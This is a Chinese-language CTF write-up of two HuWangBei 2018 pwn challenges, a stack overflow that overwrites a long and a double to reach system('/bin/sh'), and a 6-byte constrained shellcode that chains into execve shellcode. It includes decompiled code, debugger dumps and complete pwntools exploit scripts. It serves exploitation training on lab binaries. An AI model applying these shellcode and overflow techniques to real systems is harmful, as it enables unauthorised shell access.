好长时间没做CTF的题了,过段时间要去实习了,得抓紧时间熟悉熟悉以前学的,不然太菜会被鄙视的。
 
Pwn gettingstart 0x00 file && checksec 1 2 3 4 5 6 7 8 9 $ file task_gettingStart_ktQeERc  task_gettingStart_ktQeERc: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8889abb24c5308b96e8483d5dbdd1aa67fffdaa4, stripped $ checksec task_gettingStart_ktQeERc  [*] '/home/.../Desktop/gettingstart/task_gettingStart_ktQeERc'     Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      PIE enabled 
0x01 运行程序,观察程序功能 1 2 3 4 5 $ ./task_gettingStart_ktQeERc  HuWangBei CTF 2018 will be getting start after 139968784619408 seconds... But Whether it starts depends on you. csjkomso Try again! 
0x02 IDA分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 __int64 __fastcall main (__int64 a1, char  **a2, char  **a3)     __int64 buf;    __int64 v5;    __int64 v6;    __int64 v7;    double  v8;    unsigned  __int64 v9;    v9 = __readfsqword(0x28 u);   buf = 0L L;   v5 = 0L L;   v6 = 0L L;   v7 = 0x7FFFFFFFFFFFFFFF LL;   v8 = 1.797693134862316e308 ;   setvbuf(_bss_start, 0L L, 2 , 0L L);   setvbuf(stdin , 0L L, 2 , 0L L);   printf ("HuWangBei CTF 2018 will be getting start after %lu seconds...\n" , 0L L, 1.797693134862316e308 );   puts ("But Whether it starts depends on you." );   read(0 , &buf, 0x28 uLL);   if  ( v7 != 0x7FFFFFFFFFFFFFFF LL || v8 != 0.1  )   {     puts ("Try again!" );   }   else    {     printf ("HuWangBei CTF 2018 will be getting start after %g seconds...\n" , &buf, v8);     system("/bin/sh" );   }   return  0L L; } 
我们可以看到,程序通过read()函数,向栈上的缓冲区复制了0x28字节的数据,然后判断if ( v7 != 0x7FFFFFFFFFFFFFFFLL || v8 != 0.1 ),如果成立,输出Try again!并退出,不成立则执行system("/bin/sh")获得shell,所以只要让v7=0x7FFFFFFFFFFFFFFFLL和v8=0.1,则获得shell。我们往上看,buf起始地址在rsp+10h,v7起始地址在rsp+28h,v8起始地址在rsp+30h,缓冲区长度为0x28,所以刚好可以构造输入的数据,覆盖v7和v8。这里的关键是0.1在内存中的形式是什么。我们通过IDA的图形视图可以很方便的找到if判断部分的代码:
双击qword_C10,可以跳转到如下所示位置
1 2 3 4 .rodata:0000000000000BF6 aTryAgain       db 'Try again!',0       ; DATA XREF: main:loc_A8E↑o .rodata:0000000000000C01                 align 8 .rodata:0000000000000C08 qword_C08       dq 7FEFFFFFFFFFFFFFh    ; DATA XREF: main+4D↑r .rodata:0000000000000C10 qword_C10       dq 3FB999999999999Ah    ; DATA XREF: main+EE↑r 
可以看到0.1在内存中的表示为0x3FB999999999999Ah,我们还可以编写一个测试程序,以Hex形式输出0.1的值
1 2 3 4 5 6 #include  <stdio.h>  int  main ()     double  a = 0.1 ;     printf ("%llx\n" , *(long  long *)&a); } 
0x03 exp 虽然这道题保护全开,但是对于利用没有阻碍。
1 2 3 4 5 6 7 8 9 10 from  pwn import  *p = process("./task_gettingStart_ktQeERc" ) payload = 'A' *0x18  payload += p64(0x7FFFFFFFFFFFFFFF ) payload += p64(0x3FB999999999999A ) p.send(payload) p.interactive() 
0x04 总结 emmmm这道题考察的主要是0.1在内存中的存储形式,具体的可以参考下面的链接。0.1 in double precision 
six 0x00 file && checksec 1 2 3 4 5 6 7 8 9 $ file six six: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=426dd1b2aab668b73945b91d45568813be69b9c7, stripped $ checksec six [*] '/home/.../Desktop/six/six'     Arch:     amd64-64-little     RELRO:    Full RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      PIE enabled 
保护全部都开启了。
0x01 观察程序行为 1 2 3 4 $ ./six Show Ne0 your shellcode: difjodkfoj Invalid shellcode! 
程序让我们输入一段shellcode,不正确则退出。
0x02 IDA分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 __int64 __fastcall main (__int64 a1, char  **a2, char  **a3)     void  (__fastcall *v3)(__int64, char  *);    size_t  v4;    char  *v5;    size_t  v6;    char  s;    unsigned  __int64 v9;    v9 = __readfsqword(0x28 u);   rand_mmap2();                                    v3 = dest;                                       memset (&s, 0 , 8u LL);   puts ("Show Ne0 your shellcode:" );   read(0 , &s, 6u LL);                               check_shellcode(&s);                             v4 = strlen (src);   memcpy (dest, src, v4);                           v5 = dest;   v6 = strlen (src);   memcpy (&v5[v6], &s, 7u LL);                       v3(fake_stack, &s);                              return  0L L; } 
这里有两个自定义函数,经过分析函数功能,可以知道,第一个函数,也就是rand_mmap2()函数,随机分配了两块大小一样的内存块,不过所拥有的权限的不一样的。第二个函数是check_shellcode(),是对用户输入的shellcode进行格式检查,检查通过,则程序认为是有效的shellcode。下面我们进入这两个函数看一下,首先进入rand_mmap2()函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 unsigned  __int64 rand_mmap2 ()    int  fd;    __int64 buf;    __int64 v3;    unsigned  __int64 v4;    v4 = __readfsqword(0x28 u);                       setvbuf(stdin , 0L L, 2 , 0L L);   setvbuf(stdout , 0L L, 2 , 0L L);   setvbuf(stderr , 0L L, 2 , 0L L);   fd = open("/dev/urandom" , 0 );      read(fd, &buf, 6u LL);   read(fd, &v3, 6u LL);   dest = mmap((v3 & 0xFFFFFFFFFFFFF000 LL), 0x1000 uLL, 7 , 34 , -1 , 0L L);   fake_stack = mmap((buf & 0xFFFFFFFFFFFFF000 LL), 0x1000 uLL, 3 , 34 , -1 , 0L L) + 0x500 ;   return  __readfsqword(0x28 u) ^ v4; } 
通过搜索,我们知道,此函数从/dev/urandom读取了两个随机数,分别作为将要分配的两块内存的起始地址。这里为什么是6个字节的地址呢,因为64bit的CPU只有48位地址总线,也就是6个字节,64bit的程序只能访问2^48大小的虚拟内存。然后,分配了两块大小为0x1000的内存块,第一块dest的权限为RWX,第二块fake_stack的权限为RW。
接下来,我们进入check_shellcode函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 __int64 __fastcall check_shellcode (__int64 a1)     __int64 result;    unsigned  int  v2;    int  v3;    signed  int  i;    int  j;    v2 = 0 ;   v3 = 0 ;   for  ( i = 0 ; i <= 5 ; ++i )   {     if  ( *(i + a1) & 1  )                               ++v2;     else                                                ++v3;     for  ( j = i + 1 ; j <= 5 ; ++j )     {       if  ( *(i + a1) == *(j + a1) )       {         puts ("Invalid shellcode!" );                      exit (0 );       }     }   }   result = v2;   if  ( v2 != v3 )   {     puts ("Invalid shellcode!" );                      exit (0 );   }   return  result; } 
此函数对我们传入的6字节shellcode进行了判断,shellcode应该满足的条件是,6个字节的值会不相等,并且三个字节为偶数,三个字节为奇数,才是有效的shellcode,否则退出。
我们再来看看接下来,主程序做了什么。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 v9 = __readfsqword(0x28 u); rand_mmap2();                                  v3 = dest;                                     memset (&s, 0 , 8u LL);puts ("Show Ne0 your shellcode:" );read(0 , &s, 6u LL);                             check_shellcode(&s);                           v4 = strlen (src); memcpy (dest, src, v4);                        v5 = dest; v6 = strlen (src); memcpy (&v5[v6], &s, 7u LL);                    v3(fake_stack, &s);                            return  0L L;
首先程序分配了两块0x1000的内存,然后让我们输入了6字节的shellcode,并对shellcode进行检查。然后将src处的数据复制到刚才分配的具有可执行权限的内存块,然后将我们输入的shellcode接在src的后面,然后执行。不具有可执行权限的内存块用于伪造栈。
通过gdb调试,我们可以知道,当从/dev/urandom读出来的数值较大时,mmap随机进行分配内存块。而当二者均随机分配时,则这两个内存块有可能是相连的。这里第一次分配的内存块在高地址,用于存放shellcode,第二次分配的内存块在低地址,用于伪造栈。至于这里为什么第一次分配的内存块在高地址,而第二次的在低地址,我还没有搞清楚这里面的机制。看的资料都说是随机分配,没找到具体的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 1 、第一次调试00 :0000 │ rsp   0x7fffffffdcc0  ◂— 0x300000001 01 :0008 │      0x7fffffffdcc8  ◂— 0xa563d35f2600  第二块02 :0010 │ rsi   0x7fffffffdcd0  ◂— 0x703df49340fc  第一块03 :0018 │      0x7fffffffdcd8  ◂— 0xdd44ac71043c3600 04 :0020 │ rbp   0x7fffffffdce0  —▸ 0x7fffffffdd20  —▸ 0x555555554cc0  ◂— push    r15 05 :0028 │      0x7fffffffdce8  —▸ 0x555555554be8  ◂— mov     rax , qword  ptr  [rip  + 0x2014a1 ]06 :0030 │      0x7fffffffdcf0  —▸ 0x7fffffffdd1e  ◂— 0x555555554cc00000 07 :0038 │      0x7fffffffdcf8  ◂— 0x0  ► 0x555555554aa8     call    mmap@plt <0x555555554840 >         addr:  0x703df4934000         len:  0x1000         prot:  0x7         flags:  0x22         fd:  0xffffffff         offset:  0x0 第一块分配前 pwndbg> vmmap LEGEND:  STACK | HEAP | CODE | DATA | RWX | RODATA    0x555555554000      0x555555555000  r-xp     1000  0       /home/buffer/Desktop/six/six     0x555555755000      0x555555756000  r--p     1000  1000    /home/buffer/Desktop/six/six     0x555555756000      0x555555757000  rw-p     1000  2000    /home/buffer/Desktop/six/six     0x7ffff7a0d000      0x7ffff7bcd000  r-xp   1c0000 0       /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7bcd000      0x7ffff7dcd000  ---p   200000  1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dcd000      0x7ffff7dd1000  r--p     4000  1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dd1000      0x7ffff7dd3000  rw-p     2000  1c4000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dd3000      0x7ffff7dd7000  rw-p     4000  0            0x7ffff7dd7000      0x7ffff7dfd000  r-xp    26000  0       /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7fd3000      0x7ffff7fd6000  rw-p     3000  0            0x7ffff7ff7000      0x7ffff7ffa000  r--p     3000  0       [vvar]     0x7ffff7ffa000      0x7ffff7ffc000  r-xp     2000  0       [vdso]     0x7ffff7ffc000      0x7ffff7ffd000  r--p     1000  25000   /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7ffd000      0x7ffff7ffe000  rw-p     1000  26000   /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7ffe000      0x7ffff7fff000  rw-p     1000  0            0x7ffffffde000      0x7ffffffff000  rw-p    21000  0       [stack] 0xffffffffff600000  0xffffffffff601000  r-xp     1000  0       [vsyscall]第一块分配后 pwndbg> vmmap LEGEND:  STACK | HEAP | CODE | DATA | RWX | RODATA    0x555555554000      0x555555555000  r-xp     1000  0       /home/buffer/Desktop/six/six     0x555555755000      0x555555756000  r--p     1000  1000    /home/buffer/Desktop/six/six     0x555555756000      0x555555757000  rw-p     1000  2000    /home/buffer/Desktop/six/six     0x703df4934000      0x703df4935000  rwxp     1000  0       第一块           0x7ffff7a0d000      0x7ffff7bcd000  r-xp   1c0000 0       /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7bcd000      0x7ffff7dcd000  ---p   200000  1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dcd000      0x7ffff7dd1000  r--p     4000  1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dd1000      0x7ffff7dd3000  rw-p     2000  1c4000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dd3000      0x7ffff7dd7000  rw-p     4000  0            0x7ffff7dd7000      0x7ffff7dfd000  r-xp    26000  0       /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7fd3000      0x7ffff7fd6000  rw-p     3000  0            0x7ffff7ff7000      0x7ffff7ffa000  r--p     3000  0       [vvar]     0x7ffff7ffa000      0x7ffff7ffc000  r-xp     2000  0       [vdso]     0x7ffff7ffc000      0x7ffff7ffd000  r--p     1000  25000   /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7ffd000      0x7ffff7ffe000  rw-p     1000  26000   /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7ffe000      0x7ffff7fff000  rw-p     1000  0            0x7ffffffde000      0x7ffffffff000  rw-p    21000  0       [stack] 0xffffffffff600000  0xffffffffff601000  r-xp     1000  0       [vsyscall] ► 0x555555554adc     call    mmap@plt <0x555555554840 >         addr:  0xa563d35f2000         len:  0x1000         prot:  0x3         flags:  0x22         fd:  0xffffffff         offset:  0x0 第二块分配后 pwndbg> vmmap LEGEND:  STACK | HEAP | CODE | DATA | RWX | RODATA    0x555555554000      0x555555555000  r-xp     1000  0       /home/buffer/Desktop/six/six     0x555555755000      0x555555756000  r--p     1000  1000    /home/buffer/Desktop/six/six     0x555555756000      0x555555757000  rw-p     1000  2000    /home/buffer/Desktop/six/six     0x703df4934000      0x703df4935000  rwxp     1000  0       第一块     0x7ffff7a0d000      0x7ffff7bcd000  r-xp   1c0000 0       /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7bcd000      0x7ffff7dcd000  ---p   200000  1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dcd000      0x7ffff7dd1000  r--p     4000  1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dd1000      0x7ffff7dd3000  rw-p     2000  1c4000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dd3000      0x7ffff7dd7000  rw-p     4000  0            0x7ffff7dd7000      0x7ffff7dfd000  r-xp    26000  0       /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7fd3000      0x7ffff7fd6000  rw-p     3000  0            0x7ffff7ff6000      0x7ffff7ff7000  rw-p     1000  0       第二块,地址不是/dev/urandom出来的地址,因为数值较大,mmap随机分配     0x7ffff7ff7000      0x7ffff7ffa000  r--p     3000  0       [vvar]     0x7ffff7ffa000      0x7ffff7ffc000  r-xp     2000  0       [vdso]     0x7ffff7ffc000      0x7ffff7ffd000  r--p     1000  25000   /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7ffd000      0x7ffff7ffe000  rw-p     1000  26000   /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7ffe000      0x7ffff7fff000  rw-p     1000  0            0x7ffffffde000      0x7ffffffff000  rw-p    21000  0       [stack] 0xffffffffff600000  0xffffffffff601000  r-xp     1000  0       [vsyscall]2 、第二次调试00 :0000 │ rsp   0x7fffffffdcc0  ◂— 0x300000001 01 :0008 │      0x7fffffffdcc8  ◂— 0xeccb72e069a9  第二块02 :0010 │      0x7fffffffdcd0  ◂— 0xd1c2fd207617  第一块03 :0018 │      0x7fffffffdcd8  ◂— 0x4193ac317ff71a00 04 :0020 │ rbp   0x7fffffffdce0  —▸ 0x7fffffffdd20  —▸ 0x555555554cc0  ◂— push    r15 05 :0028 │      0x7fffffffdce8  —▸ 0x555555554be8  ◂— mov     rax , qword  ptr  [rip  + 0x2014a1 ]06 :0030 │      0x7fffffffdcf0  —▸ 0x7fffffffdd1e  ◂— 0x555555554cc00000 07 :0038 │      0x7fffffffdcf8  ◂— 0x0 第一块分配前  ► 0x555555554aa8     call    mmap@plt <0x555555554840 >         addr:  0xd1c2fd207000         len:  0x1000         prot:  0x7         flags:  0x22         fd:  0xffffffff         offset:  0x0 pwndbg> vmmap LEGEND:  STACK | HEAP | CODE | DATA | RWX | RODATA    0x555555554000      0x555555555000  r-xp     1000  0       /home/buffer/Desktop/six/six     0x555555755000      0x555555756000  r--p     1000  1000    /home/buffer/Desktop/six/six     0x555555756000      0x555555757000  rw-p     1000  2000    /home/buffer/Desktop/six/six     0x7ffff7a0d000      0x7ffff7bcd000  r-xp   1c0000 0       /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7bcd000      0x7ffff7dcd000  ---p   200000  1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dcd000      0x7ffff7dd1000  r--p     4000  1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dd1000      0x7ffff7dd3000  rw-p     2000  1c4000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dd3000      0x7ffff7dd7000  rw-p     4000  0            0x7ffff7dd7000      0x7ffff7dfd000  r-xp    26000  0       /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7fd3000      0x7ffff7fd6000  rw-p     3000  0            0x7ffff7ff7000      0x7ffff7ffa000  r--p     3000  0       [vvar]     0x7ffff7ffa000      0x7ffff7ffc000  r-xp     2000  0       [vdso]     0x7ffff7ffc000      0x7ffff7ffd000  r--p     1000  25000   /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7ffd000      0x7ffff7ffe000  rw-p     1000  26000   /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7ffe000      0x7ffff7fff000  rw-p     1000  0            0x7ffffffde000      0x7ffffffff000  rw-p    21000  0       [stack] 0xffffffffff600000  0xffffffffff601000  r-xp     1000  0       [vsyscall]第一块分配后 pwndbg> vmmap LEGEND:  STACK | HEAP | CODE | DATA | RWX | RODATA    0x555555554000      0x555555555000  r-xp     1000  0       /home/buffer/Desktop/six/six     0x555555755000      0x555555756000  r--p     1000  1000    /home/buffer/Desktop/six/six     0x555555756000      0x555555757000  rw-p     1000  2000    /home/buffer/Desktop/six/six     0x7ffff7a0d000      0x7ffff7bcd000  r-xp   1c0000 0       /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7bcd000      0x7ffff7dcd000  ---p   200000  1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dcd000      0x7ffff7dd1000  r--p     4000  1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dd1000      0x7ffff7dd3000  rw-p     2000  1c4000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dd3000      0x7ffff7dd7000  rw-p     4000  0            0x7ffff7dd7000      0x7ffff7dfd000  r-xp    26000  0       /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7fd3000      0x7ffff7fd6000  rw-p     3000  0            0x7ffff7ff6000      0x7ffff7ff7000  rwxp     1000  0       第一块     0x7ffff7ff7000      0x7ffff7ffa000  r--p     3000  0       [vvar]     0x7ffff7ffa000      0x7ffff7ffc000  r-xp     2000  0       [vdso]     0x7ffff7ffc000      0x7ffff7ffd000  r--p     1000  25000   /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7ffd000      0x7ffff7ffe000  rw-p     1000  26000   /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7ffe000      0x7ffff7fff000  rw-p     1000  0            0x7ffffffde000      0x7ffffffff000  rw-p    21000  0       [stack] 0xffffffffff600000  0xffffffffff601000  r-xp     1000  0       [vsyscall]第二块分配前  ► 0x555555554adc     call    mmap@plt <0x555555554840 >         addr:  0xeccb72e06000         len:  0x1000         prot:  0x3         flags:  0x22         fd:  0xffffffff         offset:  0x0 第二块分配后 pwndbg> vmmap LEGEND:  STACK | HEAP | CODE | DATA | RWX | RODATA    0x555555554000      0x555555555000  r-xp     1000  0       /home/buffer/Desktop/six/six     0x555555755000      0x555555756000  r--p     1000  1000    /home/buffer/Desktop/six/six     0x555555756000      0x555555757000  rw-p     1000  2000    /home/buffer/Desktop/six/six     0x7ffff7a0d000      0x7ffff7bcd000  r-xp   1c0000 0       /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7bcd000      0x7ffff7dcd000  ---p   200000  1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dcd000      0x7ffff7dd1000  r--p     4000  1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dd1000      0x7ffff7dd3000  rw-p     2000  1c4000 /lib/x86_64-linux-gnu/libc-2.23 .so     0x7ffff7dd3000      0x7ffff7dd7000  rw-p     4000  0            0x7ffff7dd7000      0x7ffff7dfd000  r-xp    26000  0       /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7fd3000      0x7ffff7fd6000  rw-p     3000  0            0x7ffff7ff5000      0x7ffff7ff6000  rw-p     1000  0       第二块     0x7ffff7ff6000      0x7ffff7ff7000  rwxp     1000  0       第一块     0x7ffff7ff7000      0x7ffff7ffa000  r--p     3000  0       [vvar]     0x7ffff7ffa000      0x7ffff7ffc000  r-xp     2000  0       [vdso]     0x7ffff7ffc000      0x7ffff7ffd000  r--p     1000  25000   /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7ffd000      0x7ffff7ffe000  rw-p     1000  26000   /lib/x86_64-linux-gnu/ld-2.23 .so     0x7ffff7ffe000      0x7ffff7fff000  rw-p     1000  0            0x7ffffffde000      0x7ffffffff000  rw-p    21000  0       [stack] 0xffffffffff600000  0xffffffffff601000  r-xp     1000  0       [vsyscall]
我们看看,src处的数据到底是什么。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 .data:0000000000202020 src             db 48h ; H                 ; DATA XREF: main+71↑o .data:0000000000202020                                         ; main+87↑o ... .data:0000000000202021                 db  89h .data:0000000000202022                 db 0FCh .data:0000000000202023                 db  48h ; H .data:0000000000202024                 db  31h ; 1 .data:0000000000202025                 db 0EDh .data:0000000000202026                 db  48h ; H .data:0000000000202027                 db  31h ; 1 .data:0000000000202028                 db 0C0h .data:0000000000202029                 db  48h ; H .data:000000000020202A                 db  31h ; 1 .data:000000000020202B                 db 0DBh .data:000000000020202C                 db  48h ; H .data:000000000020202D                 db  31h ; 1 .data:000000000020202E                 db 0C9h .data:000000000020202F                 db  48h ; H .data:0000000000202030                 db  31h ; 1 .data:0000000000202031                 db 0D2h .data:0000000000202032                 db  48h ; H .data:0000000000202033                 db  31h ; 1 .data:0000000000202034                 db 0FFh .data:0000000000202035                 db  48h ; H .data:0000000000202036                 db  31h ; 1 .data:0000000000202037                 db 0F6h .data:0000000000202038                 db  4Dh ; M .data:0000000000202039                 db  31h ; 1 .data:000000000020203A                 db 0C0h .data:000000000020203B                 db  4Dh ; M .data:000000000020203C                 db  31h ; 1 .data:000000000020203D                 db 0C9h .data:000000000020203E                 db  4Dh ; M .data:000000000020203F                 db  31h ; 1 .data:0000000000202040                 db 0D2h .data:0000000000202041                 db  4Dh ; M .data:0000000000202042                 db  31h ; 1 .data:0000000000202043                 db 0DBh .data:0000000000202044                 db  4Dh ; M .data:0000000000202045                 db  31h ; 1 .data:0000000000202046                 db 0E4h .data:0000000000202047                 db  4Dh ; M .data:0000000000202048                 db  31h ; 1 .data:0000000000202049                 db 0EDh .data:000000000020204A                 db  4Dh ; M .data:000000000020204B                 db  31h ; 1 .data:000000000020204C                 db 0F6h .data:000000000020204D                 db  4Dh ; M .data:000000000020204E                 db  31h ; 1 .data:000000000020204F                 db 0FFh .data:0000000000202050                 db    0 .data:0000000000202051                 db    0 
这里四种方法(我知道的)可以将一串16进制机器码转换为汇编代码:
1、直接使用IDA进行转换,工具条或者快捷键
 
既然src的数据可以执行,我们将这串机器码反汇编,然后得到如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 1 、IDA转换.data: 0000000000202021  48  89  FC      mov      rsp , rdi .data: 0000000000202023  48  31  ED      xor      rbp , rbp .data: 0000000000202026  48  31  C0      xor      rax , rax .data: 0000000000202029  48  31  DB       xor      rbx , rbx .data: 000000000020202C 48  31  C9      xor      rcx , rcx .data: 000000000020202F 48  31  D2      xor      rdx , rdx .data: 0000000000202032  48  31  FF      xor      rdi , rdi .data: 0000000000202035  48  31  F6      xor      rsi , rsi .data: 0000000000202038  4D  31  C0      xor      r8 , r8 .data: 000000000020203B 4D  31  C9      xor      r9 , r9 .data: 000000000020203E 4D  31  D2      xor      r10 , r10 .data: 0000000000202041  4D  31  DB       xor      r11 , r11 .data: 0000000000202044  4D  31  E4      xor      r12 , r12 .data: 0000000000202047  4D  31  ED      xor      r13 , r13 .data: 000000000020204A 4D  31  F6      xor      r14 , r14 .data: 000000000020204D  4D  31  FF      xor      r15 , r15 2 、ndisasm转换λ ndisasm.exe -b 64  lblb.bin 00000000   4889FC            mov  rsp ,rdi 00000003   4831ED            xor  rbp ,rbp 00000006   4831C0            xor  rax ,rax 00000009   4831DB             xor  rbx ,rbx 0000000C  4831C9            xor  rcx ,rcx  0000000F  4831D2            xor  rdx ,rdx  00000012   4831FF            xor  rdi ,rdi 00000015   4831F6            xor  rsi ,rsi 00000018   4D31C0            xor  r8 ,r8 0000001B   4D31C9            xor  r9 ,r9 0000001E  4D31D2            xor  r10 ,r10  00000021   4D31DB            xor  r11 ,r11 00000024   4D31E4            xor  r12 ,r12 00000027   4D31ED            xor  r13 ,r13 0000002A  4D31F6            xor  r14 ,r14  0000002D   4D31FF            xor  r15 ,r15 3 、pwndbg的disasm转换pwndbg> disasm -c amd64 '4889FC4831ED4831C04831DB4831C94831D24831FF4831F64D31C04D31C94D31D24D31DB4D31E44D31ED4D31F64D31FF'        0 :    48  89  fc                 mov     rsp , rdi     3 :    48  31  ed                 xor     rbp , rbp     6 :    48  31  c0                 xor     rax , rax     9 :    48  31  db                  xor     rbx , rbx     c:     48  31  c9                 xor     rcx , rcx    f:     48  31  d2                 xor     rdx , rdx   12 :    48  31  ff                 xor     rdi , rdi    15 :    48  31  f6                 xor     rsi , rsi    18 :    4d  31  c0                 xor     r8 , r8    1b :    4d  31  c9                 xor     r9 , r9    1e:    4d  31  d2                 xor     r10 , r10    21 :    4d  31  db                  xor     r11 , r11    24 :    4d  31  e4                 xor     r12 , r12    27 :    4d  31  ed                 xor     r13 , r13    2a:    4d  31  f6                 xor     r14 , r14    2d :    4d  31  ff                 xor     r15 , r15  4 、pwntools的disasm()转换>>> print disasm('4889FC4831ED4831C04831DB4831C94831D24831FF4831F64D31C04D31C94D31D24D31DB4D31E44D31ED4D31F64D31FF' .decode('hex' ),arch = 'amd64' )    0 :   48  89  fc                mov     rsp ,rdi     3 :   48  31  ed                xor     rbp ,rbp     6 :   48  31  c0                xor     rax ,rax     9 :   48  31  db                 xor     rbx ,rbx     c:    48  31  c9                xor     rcx ,rcx    f:    48  31  d2                xor     rdx ,rdx   12 :   48  31  ff                xor     rdi ,rdi    15 :   48  31  f6                xor     rsi ,rsi    18 :   4d  31  c0                xor     r8 ,r8    1b :   4d  31  c9                xor     r9 ,r9    1e:   4d  31  d2                xor     r10 ,r10    21 :   4d  31  db                 xor     r11 ,r11    24 :   4d  31  e4                xor     r12 ,r12    27 :   4d  31  ed                xor     r13 ,r13    2a:   4d  31  f6                xor     r14 ,r14    2d :   4d  31  ff                xor     r15 ,r15  
我们可以看到,src处的代码功能为,将esp指向分配的具有可执行权限的内存块,并且将其他寄存器清0。执行完上述代码,就开始执行我们输入的6字节shellcode,6个字节直接获取shell是不可能的了,所以我们换种思路。通过调用0号系统调用read,将用于获取shell交互的shellcode读入一块可执行内存中,并且调用。我们从rsp开始写入数据,一直写到rip所指向的位置,就可以执行获取shell的shellcode了。
调用read的代码如下,也就是那六个字节的shellcode。
1 2 3 4 5 0 :    54            push    rsp 1 :    5e           pop     rsi 2 :    89  f2        mov     edx , esi 4 :    0f 05         syscall 
接下来获取shell的shellcode,有两种方式,一种是直接使用pwntools生成的shellcode,另一种则是调用系统调用execve(/bin/sh).由于此利用方法的局限性,并不能每次都执行成功,只有当从/dev/urandom读出的两个地址都超出0x00007FFFFFFFFFFF时,mmap才会随机分配两块内存,才能满足利用的条件。
0x03 exp 下面是exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from  pwn import  *context.clear() context.binary ='./six'  context = {'arch' :'amd64' ,'bits' :'64' ,'endian' :'little' ,'os' :'linux' } if  args['REMOTE' ]:    Io = remote('127.0.0.1' ,10000 ) else :    Io = process('./six' ) payload1 = asm('''                  push rsp                 pop  rsi                 mov  edx,esi                 syscall                 ''' ) Io.recvuntil('Show Ne0 your shellcode:' ) Io.send(payload1) shell = asm('''              mov eax,0x3b             mov rdi,rsi             add rdi,0xb4d             xor rdx,rdx             xor rsi,rsi             syscall             ''' ) shell += "/bin/sh\0"   payload2 = '\x90' *(0x1000 -0x500 +0x30 +0x06 ) + shell Io.sendline(payload2) Io.interactive() 
0x04 总结 这道题主要考的是Linux系统下,怎么利用汇编来进行系统调用。以及使用mmap()函数,分配内存块时的策略。
